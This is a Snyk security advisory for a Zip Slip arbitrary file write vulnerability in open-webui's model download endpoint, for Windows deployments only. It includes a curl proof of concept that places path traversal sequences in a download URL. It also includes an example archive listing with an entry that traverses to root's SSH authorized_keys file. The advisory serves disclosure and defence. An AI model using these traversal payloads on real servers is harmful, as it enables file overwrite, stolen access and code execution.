Arbitrary File Write via Archive Extraction (Zip Slip) Affecting open-webui package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-OPENWEBUI-9680274
- published10 Apr 2025
- disclosed20 Mar 2025
- creditMokrane Abdelmalek
Introduced: 20 Mar 2025
NewCVE-2024-7033 (opens in a new tab)How to fix?
There is no fixed version for open-webui.
Overview
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip) through the download_model endpoint. An attacker can manipulate file paths to write files to arbitrary locations on the server's filesystem, potentially overwriting critical system or application files, causing denial of service or achieving remote code execution.
Note:
This is only exploitable when deployed on Windows.
PoC
curl -X POST -H 'Authorization: Bearer [AUTHORIZATION_TOKEN]' http://localhost:3000/ollama/models/download --json '{"url":"https://huggingface.co/m0kr4n3/poc/blob/main/\\..\\..\\..\\..\\..\\WINDOWS\\Temp\\pwned"}'
Details
It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
+2018-04-15 22:04:29 ..... 19 19 good.txt
+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys